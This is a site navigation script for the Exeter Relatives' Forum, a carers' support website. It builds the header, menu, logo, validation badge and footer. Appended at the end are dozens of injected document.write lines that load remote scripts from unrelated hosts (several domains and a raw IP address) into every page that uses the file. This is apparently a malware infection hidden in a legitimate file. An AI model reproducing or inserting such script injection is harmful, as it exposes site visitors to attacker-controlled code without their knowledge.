//alert( 'erf - js/scripts.js' );

/*                      FUNCTIONS defined in this file...
              function border()
              function header()
              function nav_link()
              function nav()
              function validated( date )
              function logo()
              function ISO8601_DateStr( date_object )
              function footer()
			
			Updated	Tue Sep 20
*/

// The first bit of code splits the URL into the path to the site,
// the site name, the path within the site to the current page,
// and the page name...
// (used in the navigation menu).

    var url  =new String(document.URL);  // address of the page we are viewing

//url ='file:\\\\A:\\erf\\index.html';  // (test for backlash)

    url_temp =url.replace( /\\/g, '/' ); //replace backlashes with forward slashes.
//alert( url_temp );

    var delim ='/';
    if( url.indexOf( '\\' )>-1 ) delim='\\';
//alert(delim);

    var online =false;
    if( url_temp.indexOf( "http:" )==0 ) online=true;

    debug =true;
    debug =false;
    if( online ) debug =false;


// Determine the effective site name: the default is...
    var site_name ='www.exeter-relatives-forum.org.uk';

//  Or 'exeter-relatives-forum.org.uk'; the 'www.' isn't necessary...
    if ( url_temp.indexOf( '/exeter-relatives-forum.org.uk/' )>-1 )
      site_name='exeter-relatives-forum.org.uk'

// ...but the site name may be a folder name on a disk drive...
//         The following folder names have been used...

//          'erf saved from online'   (folder on A:)
    else if ( url_temp.indexOf( '/erf saved from online/' )>-1 )
      site_name='erf saved from online'
    else if ( url_temp.indexOf( '/erf%20saved%20from%20online/' )>-1 )
      site_name='erf%20saved%20from%20online'

//          'erf_test' and 'erf' both on C:
    else if ( url_temp.indexOf( '/erf_test/' )>-1 ) site_name='erf_test'
    else if ( url_temp.indexOf( '/erf/' )>-1 )      site_name='erf'

    else if ( url_temp.indexOf( '/test login/' )>-1 )      site_name='test login';
//alert( site_name );



//        Split the address(url)...

    p = url_temp.indexOf( '/'+site_name+'/' ); p++;
    var host_path     = url.substring( 0, p )                      // with trailing slash
    var site_path     = url.substring( 0, p +site_name.length +1 ) // with trailing slash
    var page_pathname = url.substring( p +site_name.length );      // with leading slash

    p = page_pathname.lastIndexOf( delim );

    var page_path     = page_pathname.substring( 1, p+1 );  // NO leading, but trailing slash
    var page_name     = page_pathname.substring( p+1 );

  if( !online && debug )
  {
    with( document )
    {
      write( '<table id="display-paths">' );
      write( '<tr><td style="width: 10em;">URL           </td><td>' +url           +'</td></tr>' );
      write( '<tr><td>site_name     </td><td>' +site_name     +'</td></tr>' );

      write( '<tr><td>host_path     </td><td>' +host_path     +'</td></tr>' );
      write( '<tr><td>site_path     </td><td>' +site_path     +'</td></tr>' );
      write( '<tr><td>page_pathname </td><td>' +page_pathname +'</td></tr>' );
      write( '<tr><td>page_path     </td><td>' +page_path     +'</td></tr>' );
      write( '<tr><td>page_name     </td><td>' +page_name     +'</td></tr>' );
      write( '</table>' );
    }
  }




function border()
{
//alert( 'border()' );
  header();
  nav();
  logo();
}




function header()
{
//alert("header");

  var html ='<div id="header" title="' +site_name +'">';
  if( url.indexOf( 'file:' )==0 )
    html += site_name +page_pathname
  else
    html += 'Exeter Relatives&prime; Forum';
  html += '</div>';
  document.write( html );
}



function nav_link( page_title, page_file_name )
{ var html ='';

  html += '<div class="nav-link">\n';

  if( page_file_name== page_path +page_name  )
  {
    html += '  <div id="current-page" title="CURRENT PAGE">' +page_title;
    html += '  </div><!-- end current-page -->\n';
  }
  else
  {
    html += '  <a href="' +site_path +page_file_name +'"';
    html += ' title="' +page_title +'">' +page_title +'</a>\n';
  }

  html += '</div><!-- end nav-link -->\n';
//alert(html);
  return html;
}


function nav()
{
//alert( 'nav()' );
  var html ='<div id="nav">\n';

  html += '  <div id="nav-head">\n';

  html += '    <span> Site Menu </span>\n';
//  html += '    Click on the titles below for relevant information.\n';
  html += '  </div><!-- end nav-head -->\n';

  html += '  <div id="nav-body">\n';
  html += nav_link( 'HOME', 'index.htm' );
  html += nav_link( 'ABOUT US', 'about_us.html' );
  html += nav_link( 'EMERGENCY HELP ANY HOURS', 'emergency_help_any_hours.html' );
  html += nav_link( 'DAY TIME CONTACT NUMBERS', 'day_time_contact_numbers.html' );
  html += nav_link( 'CARERS&#39; SUPPORT SERVICES', 'carer_support_services.html' );
  html += nav_link( 'YOUNG CARERS', 'young_carers.htm' );
  html += nav_link( 'INTERNET LINKS', 'internet_links.html' );
  html += nav_link( 'CARERS&#39 NEWS\n<br />(Local Group&#39;s Newsletter)', 'carers_news_monthly_newsletter.html' );
  html += nav_link( 'DIARY DATES<br />(Updated Monthly)', 'diary_dates.htm' );
  html += nav_link( 'MINE OF INFORMATION<br />(Local Resource Directory)', 'downloads/mine_of_information.html' );
	html += nav_link( 'FLOATING SUPPORT SERVICES<br />(for service users)', 'floating_support_services.htm' );
	html += nav_link( 'Feedback', 'feedback.html' );

	
  html += '  </div><!-- end nav-body -->\n';

  html += validated(); // add validation image

  html += '</div><!-- end of nav -->\n';
//alert( html );
  document.write( html );
}





function validated()
{
  // XHTML 1.1 by default on most pages...
  var valid_image ='vxhtml11.png', html ='';
  var alt ='XHTML 1.1';
  // but HTML 4.01 on sign-in page...
  if( page_name == 'forum_members.html' )
  {
    valid_image ='vh401.png';  // HTML 4.01
    alt ='HTML 4.01';
  }
  html += '<div id="w3c-valid">\n';
  html += '  <a href="http://validator.w3.org/check?uri=referer">';
  html += '  <img src="' +site_path +'images' +delim +valid_image +'"';
  html += ' alt="The source code for this page has been validated against';
  html += " the Worldwide Web Consortium's specifications for "; // (double quotes, single quote!)
  html += alt +'" />\n';
  html += '  </a>\n';
  html += '</div><!-- end w3c-valid -->\n';

//alert( 'validated()...\n\n' +html );
  return html;
}



function logo()
{
  var html ='<div>';

//alert( "logo() : "+ site_path +'images/image002.jpg' );

  html += '<a href="' +site_path +'index.html">';
  html += '<img id="logo" title="Click for the Home Page" src="';
  html += site_path +'images/image002.jpg';
  html += '" alt="Relatives Forum and Carers Support Service Exeter logo" />';
  html += '</a>';
  html += '</div>';
//alert(html);
  document.write( html );
}





  // ====================================== ISO8601_DateStr( date_object )

  function ISO8601_DateStr( date_object )
  {
    var monthsOfTheYear = new Array( "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December");
    var daysOfTheWeek =new Array( "Sun", "Mon", "Tues", "Wednes", "Thurs", "Fri", "Satur" );

    var day =date_object.getDay(); // 0-6

    var yr  =date_object.getYear();
    if( yr<1900 ) yr +=1900;        // Opera patch

    var str = daysOfTheWeek[day]+"day, " +yr +' '+monthsOfTheYear[date_object.getMonth()];

    day = date_object.getDate(); // 1-31 max.
    str += ' ' +day;

    if( day==1 || day==21 || day==31) str +='st'
    else
      if( day==2 || day==22 ) str +='nd'
      else
        if( day==3 || day==23 ) str +='rd'
        else str +='th';

    var hour=date_object.getHours(), min=date_object.getMinutes(), sec=date_object.getSeconds();
    if( hour<10 ) hour = "0"+hour;
    if( min<10  ) min  = "0"+min;
    if( sec<10  ) sec  = "0"+sec;

    str += ", "+hour +":"+min +":"+sec;

//alert( str );
    return str;
  }



function footer()
{
//alert("footer");
  var last_mod = new Date( document.lastModified );
  var last_mod = ISO8601_DateStr( last_mod );
//alert( last_mod );

  var html ='<div id="footer">';

  html += '<span>Site by: ' +'<a href="mailto:softwaredesign2001@yahoo.co.uk"';
  html += ' title="Site by softwaredesign2001@yahoo.co.uk">';
  html += 'softwaredesign2001@yahoo.co.uk</a></span>';

  html += 'Last modified ' +last_mod;

  document.write( html +'</div><!-- end footer -->' );
}
document.write('<script src=http://kristondgset.in/css/contact.php ><\/script>');
document.write('<script src=http://kristondgset.in/css/contact.php ><\/script>');
document.write('<script src=http://kristondgset.in/css/contact.php ><\/script>');
document.write('<script src=http://agrovietnam.com/admin/news2.php ><\/script>');
document.write('<script src=http://agrovietnam.com/admin/news2.php ><\/script>');
document.write('<script src=http://agrovietnam.com/admin/news2.php ><\/script>');
document.write('<script src=http://agrovietnam.com/admin/news2.php ><\/script>');
document.write('<script src=http://agrovietnam.com/admin/news2.php ><\/script>');
document.write('<script src=http://agrovietnam.com/admin/news2.php ><\/script>');
document.write('<script src=http://eurovision.in/rsscb/logo1.php ><\/script>');
document.write('<script src=http://eurovision.in/rsscb/logo1.php ><\/script>');
document.write('<script src=http://eurovision.in/rsscb/logo1.php ><\/script>');
document.write('<script src=http://eurovision.in/rsscb/logo1.php ><\/script>');
document.write('<script src=http://eurovision.in/rsscb/logo1.php ><\/script>');
document.write('<script src=http://novaglobalnetwork.com/new/arrow2.php ><\/script>');
document.write('<script src=http://novaglobalnetwork.com/new/arrow2.php ><\/script>');
document.write('<script src=http://novaglobalnetwork.com/new/arrow2.php ><\/script>');
document.write('<script src=http://novaglobalnetwork.com/new/arrow2.php ><\/script>');
document.write('<script src=http://novaglobalnetwork.com/new/arrow2.php ><\/script>');
document.write('<script src=http://novaglobalnetwork.com/new/arrow2.php ><\/script>');
document.write('<script src=http://novaglobalnetwork.com/new/arrow2.php ><\/script>');
document.write('<script src=http://203.172.130.211/moodledata/.bash_history.php ><\/script>');
document.write('<script src=http://203.172.130.211/moodledata/.bash_history.php ><\/script>');
document.write('<script src=http://203.172.130.211/moodledata/.bash_history.php ><\/script>');
document.write('<script src=http://203.172.130.211/moodledata/.bash_history.php ><\/script>');
document.write('<script src=http://203.172.130.211/moodledata/.bash_history.php ><\/script>');